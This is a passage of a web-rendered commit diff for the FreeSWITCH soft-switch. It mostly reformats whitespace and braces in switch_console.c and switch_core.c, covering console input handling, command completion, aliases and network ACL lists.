</span><del>-                                                        SetConsoleCursorPosition(hOut, position);
-                                                        for (pos = iCmdCursor; pos < iCmdBuffer; pos++) {
-                                                                printf("%c", cmd[pos]);
-                                                        }
-                                                        printf(" ");
-                                                        SetConsoleCursorPosition(hOut, position);
</del><ins>+                                        if (position.X == info.dwSize.X - 1) {
+                                                position.Y += 1;
+                                                position.X = 0;
+                                        } else {
+                                                position.X += 1;
</ins><span class="cx">                                         }
</span><del>-                                        else {
-                                                SetConsoleCursorPosition(hOut, position);
-                                                iCmdBuffer--;
-                                                iCmdCursor--;
-                                                cmd[iCmdBuffer] = 0;
-                                        }
-                                }
-                                break;
-                        default:
-                                if (!ignoreNext) {
-                                        if (iCmdCursor < iCmdBuffer) {
-                                                int pos;
</del><span class="cx">
</span><del>-                                                if (position.X == info.dwSize.X-1) {
-                                                        position.Y += 1;
-                                                        position.X = 0;
</del><ins>+                                        if (insertMode) {
+                                                for (pos = iCmdBuffer - 1; pos >= iCmdCursor; pos--) {
+                                                        cmd[pos + 1] = cmd[pos];
</ins><span class="cx">                                                 }
</span><del>-                                                else {
-                                                        position.X += 1;
-                                                }
-
-                                                if (insertMode) {
-                                                        for (pos = iCmdBuffer-1; pos >= iCmdCursor; pos--) {
-                                                                cmd[pos+1] = cmd[pos];
-                                                        }
-                                                }
-                                                iCmdBuffer++;
-                                                cmd[iCmdCursor++] = addchars[iBuf];
-                                                printf("%c", addchars[iBuf]);
-                                                for (pos = iCmdCursor; pos < iCmdBuffer; pos++) {
-                                                        GetConsoleScreenBufferInfo(hOut, &info);
-                                                        if (info.dwCursorPosition.X == info.dwSize.X-1 && info.dwCursorPosition.Y == info.dwSize.Y-1) {
-                                                                orgPosition.Y -= 1;
-                                                                position.Y -= 1;
-                                                        }
-                                                        printf("%c", cmd[pos]);
-                                                }
-                                                SetConsoleCursorPosition(hOut, position);
</del><span class="cx">                                         }
</span><del>-                                        else {
-                                                if (position.X == info.dwSize.X-1 && position.Y == info.dwSize.Y-1) {
</del><ins>+                                        iCmdBuffer++;
+                                        cmd[iCmdCursor++] = addchars[iBuf];
+                                        printf("%c", addchars[iBuf]);
+                                        for (pos = iCmdCursor; pos < iCmdBuffer; pos++) {
+                                                GetConsoleScreenBufferInfo(hOut, &info);
+                                                if (info.dwCursorPosition.X == info.dwSize.X - 1 && info.dwCursorPosition.Y == info.dwSize.Y - 1) {
</ins><span class="cx">                                                         orgPosition.Y -= 1;
</span><ins>+                                                        position.Y -= 1;
</ins><span class="cx">                                                 }
</span><del>-                                                cmd[iCmdBuffer++] = addchars[iBuf];
-                                                iCmdCursor++;
-                                                printf("%c", addchars[iBuf]);
</del><ins>+                                                printf("%c", cmd[pos]);
</ins><span class="cx">                                         }
</span><ins>+                                        SetConsoleCursorPosition(hOut, position);
+                                } else {
+                                        if (position.X == info.dwSize.X - 1 && position.Y == info.dwSize.Y - 1) {
+                                                orgPosition.Y -= 1;
+                                        }
+                                        cmd[iCmdBuffer++] = addchars[iBuf];
+                                        iCmdCursor++;
+                                        printf("%c", addchars[iBuf]);
</ins><span class="cx">                                 }
</span><ins>+                        }
</ins><span class="cx">                 }
</span><span class="cx">                 if (iCmdBuffer == CMD_BUFLEN) {
</span><span class="cx">                         printf("Read Console... BUFFER OVERRUN\n");
</span><span class="cx">                         iCmdBuffer = 0;
</span><span class="cx">                         ignoreNext = 1;
</span><span class="cx">                 }
</span><del>- }
- return (SWITCH_STATUS_SUCCESS);
</del><ins>+        }
+        return (SWITCH_STATUS_SUCCESS);
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx">
</span><del>-static BOOL console_readConsole(HANDLE conIn, char* buf, int len, int* pRed, int *key)
</del><ins>+static BOOL console_readConsole(HANDLE conIn, char *buf, int len, int *pRed, int *key)
</ins><span class="cx"> {
</span><del>- DWORD recordIndex, bufferIndex, toRead, red;
- PINPUT_RECORD pInput;
</del><ins>+        DWORD recordIndex, bufferIndex, toRead, red;
+        PINPUT_RECORD pInput;
</ins><span class="cx">
</span><del>- GetNumberOfConsoleInputEvents(conIn, &toRead);
-        if (len < (int)toRead) {
</del><ins>+        GetNumberOfConsoleInputEvents(conIn, &toRead);
+        if (len < (int) toRead) {
</ins><span class="cx">                 toRead = len;
</span><span class="cx">         }
</span><span class="cx">         if (toRead == 0) {
</span><del>-                return(FALSE);
</del><ins>+                return (FALSE);
</ins><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         if ((pInput = (PINPUT_RECORD) malloc(toRead * sizeof(INPUT_RECORD))) == NULL) {
</span><span class="cx">                 return (FALSE);
</span><span class="cx">         }
</span><span class="cx">         *key = 0;
</span><del>- ReadConsoleInput(conIn, pInput, toRead, &red);
</del><ins>+        ReadConsoleInput(conIn, pInput, toRead, &red);
</ins><span class="cx">
</span><del>- for (recordIndex = bufferIndex = 0; recordIndex < red; recordIndex++) {
- KEY_EVENT_RECORD keyEvent = pInput[recordIndex].Event.KeyEvent;
-         if (pInput[recordIndex].EventType == KEY_EVENT && keyEvent.bKeyDown) {
</del><ins>+        for (recordIndex = bufferIndex = 0; recordIndex < red; recordIndex++) {
+                KEY_EVENT_RECORD keyEvent = pInput[recordIndex].Event.KeyEvent;
+                if (pInput[recordIndex].EventType == KEY_EVENT && keyEvent.bKeyDown) {
</ins><span class="cx">                         if (keyEvent.wVirtualKeyCode == 38 && keyEvent.wVirtualScanCode == 72) {
</span><span class="cx">                                 buf[0] = 0;
</span><span class="cx">                                 console_history(buf, -1);
</span><span class="cx">                                 *key = KEY_UP;
</span><del>-                                bufferIndex += (DWORD)strlen(buf);
</del><ins>+                                bufferIndex += (DWORD) strlen(buf);
</ins><span class="cx">                         }
</span><span class="cx">                         if (keyEvent.wVirtualKeyCode == 40 && keyEvent.wVirtualScanCode == 80) {
</span><span class="cx">                                 buf[0] = 0;
</span><span class="cx">                                 console_history(buf, 1);
</span><span class="cx">                                 *key = KEY_DOWN;
</span><del>-                                bufferIndex += (DWORD)strlen(buf);
</del><ins>+                                bufferIndex += (DWORD) strlen(buf);
</ins><span class="cx">                         }
</span><span class="cx">                         if (keyEvent.wVirtualKeyCode == 112 && keyEvent.wVirtualScanCode == 59) {
</span><span class="cx">                                 console_fnkey_pressed(1);
</span><span class="lines">@@ -1401,40 +1397,40 @@
</span><span class="cx">                         if (keyEvent.wVirtualKeyCode == 45 && keyEvent.wVirtualScanCode == 82) {
</span><span class="cx">                                 *key = KEY_INSERT;
</span><span class="cx">                         }
</span><del>-          while (keyEvent.wRepeatCount && keyEvent.uChar.AsciiChar) {
-                         buf[bufferIndex] = keyEvent.uChar.AsciiChar;
</del><ins>+                        while (keyEvent.wRepeatCount && keyEvent.uChar.AsciiChar) {
+                                buf[bufferIndex] = keyEvent.uChar.AsciiChar;
</ins><span class="cx">                                 if (buf[bufferIndex] == '\r') {
</span><del>-                                 buf[bufferIndex] = '\n';
</del><ins>+                                        buf[bufferIndex] = '\n';
</ins><span class="cx">                                 }
</span><del>-                         bufferIndex++;
-                         keyEvent.wRepeatCount--;
-          }
-         }
- }
</del><ins>+                                bufferIndex++;
+                                keyEvent.wRepeatCount--;
+                        }
+                }
+        }
</ins><span class="cx">
</span><del>- free(pInput);
- *pRed = bufferIndex;
- return (TRUE);
</del><ins>+        free(pInput);
+        *pRed = bufferIndex;
+        return (TRUE);
</ins><span class="cx"> }
</span><span class="cx"> #endif
</span><span class="cx">
</span><span class="cx">
</span><span class="cx"> SWITCH_DECLARE(void) switch_console_loop(void)
</span><span class="cx"> {
</span><del>-        char cmd[CMD_BUFLEN+1] = "";
-        int32_t activity = 1;        
</del><ins>+        char cmd[CMD_BUFLEN + 1] = "";
+        int32_t activity = 1;
</ins><span class="cx"> #ifndef _MSC_VER
</span><span class="cx">         int x = 0;
</span><span class="cx"> #else
</span><span class="cx">         char keys[80];
</span><del>-#endif        
</del><ins>+#endif
</ins><span class="cx">
</span><span class="cx">         /* Load/Init the config first */
</span><span class="cx">         console_xml_config();
</span><span class="cx">         gethostname(hostname, sizeof(hostname));
</span><span class="cx"> #ifdef _MSC_VER
</span><span class="cx">         sprintf(cmd, "\nfreeswitch@%s> ", hostname);
</span><del>-        console_bufferInput (0, 0, cmd, PROMPT_OP);
</del><ins>+        console_bufferInput(0, 0, cmd, PROMPT_OP);
</ins><span class="cx">         memset(cmd, 0, sizeof(cmd));
</span><span class="cx"> #endif
</span><span class="cx">
</span><span class="lines">@@ -1458,7 +1454,7 @@
</span><span class="cx">                 }
</span><span class="cx"> #ifdef _MSC_VER
</span><span class="cx">                 activity = 0;
</span><del>-                if (console_readConsole(stdinHandle, keys, (int)sizeof(keys), &read, &key)) {
</del><ins>+                if (console_readConsole(stdinHandle, keys, (int) sizeof(keys), &read, &key)) {
</ins><span class="cx">                         if (console_bufferInput(keys, read, cmd, key)) {
</span><span class="cx">                                 if (!strcmp(cmd, "Empty")) {
</span><span class="cx">                                         cmd[0] = '\n';
</span><span class="lines">@@ -1482,7 +1478,7 @@
</span><span class="cx">                 if (FD_ISSET(fileno(stdin), &efds)) {
</span><span class="cx">                         continue;
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (!FD_ISSET(fileno(stdin), &rfds)) {
</span><span class="cx">                         activity = 0;
</span><span class="cx">                 }
</span><span class="lines">@@ -1530,7 +1526,7 @@
</span><span class="cx"> {
</span><span class="cx">         switch_mutex_init(&globals.func_mutex, SWITCH_MUTEX_NESTED, pool);
</span><span class="cx">         switch_core_hash_init(&globals.func_hash, pool);
</span><del>-        switch_console_add_complete_func("::console::list_uuid", (switch_console_complete_callback_t)switch_console_list_uuid);
</del><ins>+        switch_console_add_complete_func("::console::list_uuid", (switch_console_complete_callback_t) switch_console_list_uuid);
</ins><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -1542,9 +1538,9 @@
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_console_add_complete_func(const char *name, switch_console_complete_callback_t cb)
</span><span class="cx"> {
</span><span class="cx">         switch_status_t status;
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_mutex_lock(globals.func_mutex);
</span><del>-        status = switch_core_hash_insert(globals.func_hash, name, (void *)(intptr_t)cb);
</del><ins>+        status = switch_core_hash_insert(globals.func_hash, name, (void *) (intptr_t) cb);
</ins><span class="cx">         switch_mutex_unlock(globals.func_mutex);
</span><span class="cx">
</span><span class="cx">         return status;
</span><span class="lines">@@ -1553,12 +1549,12 @@
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_console_del_complete_func(const char *name)
</span><span class="cx"> {
</span><span class="cx">         switch_status_t status;
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_mutex_lock(globals.func_mutex);
</span><span class="cx">         status = switch_core_hash_insert(globals.func_hash, name, NULL);
</span><span class="cx">         switch_mutex_unlock(globals.func_mutex);
</span><span class="cx">
</span><del>- return status;
</del><ins>+        return status;
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> SWITCH_DECLARE(void) switch_console_free_matches(switch_console_callback_match_t **matches)
</span><span class="lines">@@ -1570,7 +1566,7 @@
</span><span class="cx">         *matches = NULL;
</span><span class="cx">
</span><span class="cx">         m = my_match->head;
</span><del>-        while(m) {
</del><ins>+        while (m) {
</ins><span class="cx">                 cur = m;
</span><span class="cx">                 m = m->next;
</span><span class="cx">                 free(cur->val);
</span><span class="lines">@@ -1592,41 +1588,46 @@
</span><span class="cx">         if (matches->count < 2) {
</span><span class="cx">                 return;
</span><span class="cx">         }
</span><del>-        
-        for(i = 1; i < matches->count; i++) {
</del><ins>+
+        for (i = 1; i < matches->count; i++) {
</ins><span class="cx">                 sort[0] = NULL;
</span><span class="cx">                 sort[1] = matches->head;
</span><span class="cx">                 sort[2] = sort[1] ? sort[1]->next : NULL;
</span><del>-                sort[3] = sort[2] ? sort[2]->next : NULL;                
</del><ins>+                sort[3] = sort[2] ? sort[2]->next : NULL;
</ins><span class="cx">
</span><del>-                for(j = 1; j <= (matches->count - i); j++) {
</del><ins>+                for (j = 1; j <= (matches->count - i); j++) {
</ins><span class="cx">                         if (strcmp(sort[1]->val, sort[2]->val) > 0) {
</span><span class="cx">                                 sort[1]->next = sort[3];
</span><span class="cx">                                 sort[2]->next = sort[1];
</span><span class="cx">
</span><del>-                                if (sort[0]) sort[0]->next = sort[2];
-                                if (sort[1] == matches->head) matches->head = sort[2];
-                                
-                                
</del><ins>+                                if (sort[0])
+                                        sort[0]->next = sort[2];
+                                if (sort[1] == matches->head)
+                                        matches->head = sort[2];
</ins><span class="cx">
</span><span class="cx">
</span><ins>+
+
</ins><span class="cx">                                 sort[0] = sort[2];
</span><span class="cx">                                 sort[2] = sort[1]->next;
</span><del>-                                if (sort[3] && sort[3]->next) sort[3] = sort[3]->next;
-                                
</del><ins>+                                if (sort[3] && sort[3]->next)
+                                        sort[3] = sort[3]->next;
+
</ins><span class="cx">                         } else {
</span><span class="cx">                                 sort[0] = sort[1];
</span><span class="cx">                                 sort[1] = sort[2];
</span><span class="cx">                                 sort[2] = sort[3];
</span><del>-                                if (sort[3] && sort[3]->next) sort[3] = sort[3]->next;
</del><ins>+                                if (sort[3] && sort[3]->next)
+                                        sort[3] = sort[3]->next;
</ins><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         p = matches->head;
</span><span class="cx">
</span><del>-        for(i = 1; i < matches->count; i++) p = p->next;
</del><ins>+        for (i = 1; i < matches->count; i++)
+                p = p->next;
</ins><span class="cx">
</span><span class="cx">         if (p) {
</span><span class="cx">                 p->next = NULL;
</span><span class="lines">@@ -1664,7 +1665,7 @@
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_FALSE;
</span><span class="cx">
</span><span class="cx">         switch_mutex_lock(globals.func_mutex);
</span><del>-        if ((cb = (switch_console_complete_callback_t)(intptr_t)switch_core_hash_find(globals.func_hash, func))) {
</del><ins>+        if ((cb = (switch_console_complete_callback_t) (intptr_t) switch_core_hash_find(globals.func_hash, func))) {
</ins><span class="cx">                 if ((status = cb(line, last_word, matches)) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                         switch_console_sort_matches(*matches);
</span><span class="cx">                 }
</span><span class="lines">@@ -1719,7 +1720,7 @@
</span><span class="cx">                                         }
</span><span class="cx">                                 }
</span><span class="cx">                                 mystream.write_function(&mystream, " '%s')", switch_core_get_variable("hostname"));
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 switch_cache_db_persistant_execute(db, mystream.data, 5);
</span><span class="cx">                                 status = SWITCH_STATUS_SUCCESS;
</span><span class="cx">                         } else if (!strcasecmp(argv[0], "del")) {
</span><span class="lines">@@ -1771,10 +1772,10 @@
</span><span class="cx">                                 switch_cache_db_persistant_execute(db, sql, 5);
</span><span class="cx">                                 switch_safe_free(sql);
</span><span class="cx">                                 if (db->type == SCDB_TYPE_CORE_DB) {
</span><del>-                                        sql = switch_mprintf("insert into aliases (sticky, alias, command, hostname) values (1, '%q','%q','%q')",
</del><ins>+                                        sql = switch_mprintf("insert into aliases (sticky, alias, command, hostname) values (1, '%q','%q','%q')",
</ins><span class="cx">                                                                                  argv[1], argv[2], switch_core_get_variable("hostname"));
</span><span class="cx">                                 } else {
</span><del>-                                        sql = switch_mprintf("insert into aliases (sticky, alias, command, hostname) values (1, '%w','%w','%w')",
</del><ins>+                                        sql = switch_mprintf("insert into aliases (sticky, alias, command, hostname) values (1, '%w','%w','%w')",
</ins><span class="cx">                                                                                  argv[1], argv[2], switch_core_get_variable("hostname"));
</span><span class="cx">                                 }
</span><span class="cx">                                 switch_cache_db_persistant_execute(db, sql, 5);
</span><span class="lines">@@ -1784,10 +1785,10 @@
</span><span class="cx">                                 switch_cache_db_persistant_execute(db, sql, 5);
</span><span class="cx">                                 switch_safe_free(sql);
</span><span class="cx">                                 if (db->type == SCDB_TYPE_CORE_DB) {
</span><del>-                                        sql = switch_mprintf("insert into aliases (sticky, alias, command, hostname) values (0, '%q','%q','%q')",
</del><ins>+                                        sql = switch_mprintf("insert into aliases (sticky, alias, command, hostname) values (0, '%q','%q','%q')",
</ins><span class="cx">                                                                                  argv[1], argv[2], switch_core_get_variable("hostname"));
</span><span class="cx">                                 } else {
</span><del>-                                        sql = switch_mprintf("insert into aliases (sticky, alias, command, hostname) values (0, '%w','%w','%w')",
</del><ins>+                                        sql = switch_mprintf("insert into aliases (sticky, alias, command, hostname) values (0, '%w','%w','%w')",
</ins><span class="cx">                                                                                  argv[1], argv[2], switch_core_get_variable("hostname"));
</span><span class="cx">                                 }
</span><span class="cx">                                 switch_cache_db_persistant_execute(db, sql, 5);
</span></span></pre></div>
<a id="freeswitchtrunksrcswitch_corec"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/switch_core.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/switch_core.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_core.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -89,7 +89,8 @@
</span><span class="cx"> static char main_ip4[256] = "";
</span><span class="cx"> static char main_ip6[256] = "";
</span><span class="cx">
</span><del>-static void check_ip(void) {
</del><ins>+static void check_ip(void)
+{
</ins><span class="cx">         char guess_ip4[256] = "";
</span><span class="cx">         char guess_ip6[256] = "";
</span><span class="cx">         char old_ip4[256] = "";
</span><span class="lines">@@ -127,7 +128,7 @@
</span><span class="cx">                         switch_core_set_variable("local_ip_v6", guess_ip6);
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!ok4 || !ok6) {
</span><span class="cx">                 switch_event_t *event;
</span><span class="cx">
</span><span class="lines">@@ -191,8 +192,8 @@
</span><span class="cx"> SWITCH_DECLARE(void) switch_core_remove_state_handler(const switch_state_handler_table_t *state_handler)
</span><span class="cx"> {
</span><span class="cx">         int index, tmp_index = 0;
</span><del>-        const switch_state_handler_table_t *tmp[SWITCH_MAX_STATE_HANDLERS+1] = { 0 };
-        
</del><ins>+        const switch_state_handler_table_t *tmp[SWITCH_MAX_STATE_HANDLERS + 1] = { 0 };
+
</ins><span class="cx">         switch_mutex_lock(runtime.global_mutex);
</span><span class="cx">
</span><span class="cx">         for (index = 0; index < runtime.state_handler_index; index++) {
</span><span class="lines">@@ -268,8 +269,8 @@
</span><span class="cx"> static void switch_core_unset_variables(void)
</span><span class="cx"> {
</span><span class="cx">         switch_hash_index_t *hi;
</span><del>- const void *var;
- void *val;
</del><ins>+        const void *var;
+        void *val;
</ins><span class="cx">
</span><span class="cx">         switch_mutex_lock(runtime.global_var_mutex);
</span><span class="cx">         for (hi = switch_hash_first(NULL, runtime.global_vars); hi; hi = switch_hash_next(hi)) {
</span><span class="lines">@@ -312,8 +313,8 @@
</span><span class="cx">         switch_channel_t *channel;
</span><span class="cx">         switch_frame_t *read_frame;
</span><span class="cx">
</span><del>-//        switch_assert(thread != NULL);
-//        switch_assert(session != NULL);
</del><ins>+// switch_assert(thread != NULL);
+// switch_assert(session != NULL);
</ins><span class="cx">
</span><span class="cx">         if (switch_core_session_read_lock(session) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                 return NULL;
</span><span class="lines">@@ -346,7 +347,7 @@
</span><span class="cx">
</span><span class="cx">         channel = switch_core_session_get_channel(session);
</span><span class="cx">         switch_assert(channel);
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_channel_clear_flag(channel, CF_SERVICE);
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -357,7 +358,7 @@
</span><span class="cx">
</span><span class="cx">         channel = switch_core_session_get_channel(session);
</span><span class="cx">         switch_assert(channel);
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_core_session_launch_thread(session, switch_core_service_thread, session);
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -783,7 +784,7 @@
</span><span class="cx">         if (fd <= 0) {
</span><span class="cx">                 goto end;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         while ((switch_fd_read_line(fd, line_buf, sizeof(line_buf)))) {
</span><span class="cx">                 char *p;
</span><span class="cx">                 char *type = line_buf;
</span><span class="lines">@@ -813,7 +814,7 @@
</span><span class="cx">                 fd = -1;
</span><span class="cx">         }
</span><span class="cx">
</span><del>- end:
</del><ins>+ end:
</ins><span class="cx">
</span><span class="cx">         switch_safe_free(mime_path);
</span><span class="cx">
</span><span class="lines">@@ -885,7 +886,7 @@
</span><span class="cx">         if ((list = switch_core_hash_find(IP_LIST.hash, list_name))) {
</span><span class="cx">                 ok = switch_network_list_validate_ip_token(list, ip, token);
</span><span class="cx">         } else if (strchr(list_name, '/')) {
</span><del>-                if (strchr(list_name, ',')) {
</del><ins>+                if (strchr(list_name, ',')) {
</ins><span class="cx">                         char *list_name_dup = strdup(list_name);
</span><span class="cx">                         char *argv[32];
</span><span class="cx">                         int argc;
</span><span class="lines">@@ -898,7 +899,7 @@
</span><span class="cx">                                         switch_parse_cidr(argv[i], &net, &mask, &bits);
</span><span class="cx">                                         if ((ok = switch_test_subnet(ip, net, mask))) {
</span><span class="cx">                                                 break;
</span><del>-                                        }        
</del><ins>+                                        }
</ins><span class="cx">                                 }
</span><span class="cx">                         }
</span><span class="cx">                         free(list_name_dup);
</span><span class="lines">@@ -926,7 +927,7 @@
</span><span class="cx">         switch_find_local_ip(guess_ip, sizeof(guess_ip), &mask, AF_INET);
</span><span class="cx">         in.s_addr = mask;
</span><span class="cx">         switch_set_string(guess_mask, inet_ntoa(in));
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_mutex_lock(runtime.global_mutex);
</span><span class="cx">
</span><span class="cx">         if (IP_LIST.hash) {
</span><span class="lines">@@ -948,7 +949,7 @@
</span><span class="cx">         switch_network_list_add_cidr(rfc_list, "10.0.0.0/8", SWITCH_TRUE);
</span><span class="cx">         switch_network_list_add_cidr(rfc_list, "172.16.0.0/12", SWITCH_TRUE);
</span><span class="cx">         switch_network_list_add_cidr(rfc_list, "192.168.0.0/16", SWITCH_TRUE);
</span><del>-        switch_core_hash_insert(IP_LIST.hash, tmp_name, rfc_list);        
</del><ins>+        switch_core_hash_insert(IP_LIST.hash, tmp_name, rfc_list);
</ins><span class="cx">
</span><span class="cx">         tmp_name = "wan.auto";
</span><span class="cx">         switch_network_list_create(&rfc_list, tmp_name, SWITCH_TRUE, IP_LIST.pool);
</span><span class="lines">@@ -956,19 +957,18 @@
</span><span class="cx">         switch_network_list_add_cidr(rfc_list, "10.0.0.0/8", SWITCH_FALSE);
</span><span class="cx">         switch_network_list_add_cidr(rfc_list, "172.16.0.0/12", SWITCH_FALSE);
</span><span class="cx">         switch_network_list_add_cidr(rfc_list, "192.168.0.0/16", SWITCH_FALSE);
</span><del>-        switch_core_hash_insert(IP_LIST.hash, tmp_name, rfc_list);        
</del><ins>+        switch_core_hash_insert(IP_LIST.hash, tmp_name, rfc_list);
</ins><span class="cx">
</span><span class="cx">         tmp_name = "nat.auto";
</span><span class="cx">         switch_network_list_create(&rfc_list, tmp_name, SWITCH_FALSE, IP_LIST.pool);
</span><span class="cx">         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Created ip list %s default (deny)\n", tmp_name);
</span><span class="cx">         if (switch_network_list_add_host_mask(rfc_list, guess_ip, guess_mask, SWITCH_FALSE) == SWITCH_STATUS_SUCCESS) {
</span><del>-                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE,
-                                                 "Adding %s/%s (deny) to list %s\n", guess_ip, guess_mask, tmp_name);
- }
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Adding %s/%s (deny) to list %s\n", guess_ip, guess_mask, tmp_name);
+        }
</ins><span class="cx">         switch_network_list_add_cidr(rfc_list, "10.0.0.0/8", SWITCH_TRUE);
</span><span class="cx">         switch_network_list_add_cidr(rfc_list, "172.16.0.0/12", SWITCH_TRUE);
</span><span class="cx">         switch_network_list_add_cidr(rfc_list, "192.168.0.0/16", SWITCH_TRUE);
</span><del>-        switch_core_hash_insert(IP_LIST.hash, tmp_name, rfc_list);        
</del><ins>+        switch_core_hash_insert(IP_LIST.hash, tmp_name, rfc_list);
</ins><span class="cx">
</span><span class="cx">         tmp_name = "loopback.auto";
</span><span class="cx">         switch_network_list_create(&rfc_list, tmp_name, SWITCH_FALSE, IP_LIST.pool);
</span><span class="lines">@@ -979,14 +979,13 @@
</span><span class="cx">         tmp_name = "localnet.auto";
</span><span class="cx">         switch_network_list_create(&list, tmp_name, SWITCH_FALSE, IP_LIST.pool);
</span><span class="cx">         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Created ip list %s default (deny)\n", tmp_name);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (switch_network_list_add_host_mask(list, guess_ip, guess_mask, SWITCH_TRUE) == SWITCH_STATUS_SUCCESS) {
</span><del>-                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE,
-                                                 "Adding %s/%s (allow) to list %s\n", guess_ip, guess_mask, tmp_name);
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Adding %s/%s (allow) to list %s\n", guess_ip, guess_mask, tmp_name);
</ins><span class="cx">         }
</span><del>-        switch_core_hash_insert(IP_LIST.hash, tmp_name, list);        
</del><ins>+        switch_core_hash_insert(IP_LIST.hash, tmp_name, list);
</ins><span class="cx">
</span><del>-        
</del><ins>+
</ins><span class="cx">         if ((xml = switch_xml_open_cfg("acl.conf", &cfg, NULL))) {
</span><span class="cx">                 if ((x_lists = switch_xml_child(cfg, "network-lists"))) {
</span><span class="cx">                         for (x_list = switch_xml_child(x_lists, "list"); x_list; x_list = x_list->next) {
</span><span class="lines">@@ -1036,13 +1035,13 @@
</span><span class="cx">                                                 switch_assert(my_params);
</span><span class="cx">                                                 switch_event_add_header_string(my_params, SWITCH_STACK_BOTTOM, "domain", domain);
</span><span class="cx">                                                 switch_event_add_header_string(my_params, SWITCH_STACK_BOTTOM, "purpose", "network-list");
</span><del>-                                                
</del><ins>+
</ins><span class="cx">                                                 if (switch_xml_locate_domain(domain, my_params, &xml_root, &x_domain) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Cannot locate domain %s\n", domain);
</span><span class="cx">                                                         switch_event_destroy(&my_params);
</span><span class="cx">                                                         continue;
</span><span class="cx">                                                 }
</span><del>-                                                
</del><ins>+
</ins><span class="cx">                                                 switch_event_destroy(&my_params);
</span><span class="cx">
</span><span class="cx">                                                 for (ut = switch_xml_child(x_domain, "user"); ut; ut = ut->next) {
</span><span class="lines">@@ -1063,10 +1062,10 @@
</span><span class="cx">                                                                         for (ut = switch_xml_child(uts, "user"); ut; ut = ut->next) {
</span><span class="cx">                                                                                 const char *user_cidr = switch_xml_attr(ut, "cidr");
</span><span class="cx">                                                                                 const char *id = switch_xml_attr(ut, "id");
</span><del>-                                                                                
</del><ins>+
</ins><span class="cx">                                                                                 if (id && user_cidr) {
</span><span class="cx">                                                                                         char *token = switch_mprintf("%s@%s", id, domain);
</span><del>-                                                                                        switch_assert(token);                                                                                        
</del><ins>+                                                                                        switch_assert(token);
</ins><span class="cx">                                                                                         switch_network_list_add_cidr_token(list, user_cidr, ok, token);
</span><span class="cx">                                                                                         free(token);
</span><span class="cx">                                                                                 }
</span><span class="lines">@@ -1074,7 +1073,7 @@
</span><span class="cx">                                                                 }
</span><span class="cx">                                                         }
</span><span class="cx">                                                 }
</span><del>-                                                
</del><ins>+
</ins><span class="cx">                                                 switch_xml_free(xml_root);
</span><span class="cx">                                         } else if (cidr) {
</span><span class="cx">                                                 if (switch_network_list_add_cidr(list, cidr, ok) == SWITCH_STATUS_SUCCESS) {
</span><span class="lines">@@ -1088,7 +1087,7 @@
</span><span class="cx">                                                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE,
</span><span class="cx">                                                                                          "Adding %s/%s (%s) to list %s\n", host, mask, ok ? "allow" : "deny", name);
</span><span class="cx">                                                 }
</span><del>-                                        }
</del><ins>+                                        }
</ins><span class="cx">
</span><span class="cx">                                         switch_core_hash_insert(IP_LIST.hash, name, list);
</span><span class="cx">                                 }
</span><span class="lines">@@ -1146,7 +1145,7 @@
</span><span class="cx"> {
</span><span class="cx">         char buf[13] = "";
</span><span class="cx">         char path[256];
</span><del>-        
</del><ins>+
</ins><span class="cx">         int fd = -1, write_fd = -1;
</span><span class="cx">         switch_ssize_t bytes = 0;
</span><span class="cx">
</span><span class="lines">@@ -1160,9 +1159,9 @@
</span><span class="cx">                 int i = 0;
</span><span class="cx">
</span><span class="cx">                 switch_inet_pton(AF_INET, ip, &ipi);
</span><del>-                byte = (switch_byte_t *) &ipi;
</del><ins>+                byte = (switch_byte_t *) & ipi;
</ins><span class="cx">
</span><del>-                for(i = 0; i < 8; i += 2) {
</del><ins>+                for (i = 0; i < 8; i += 2) {
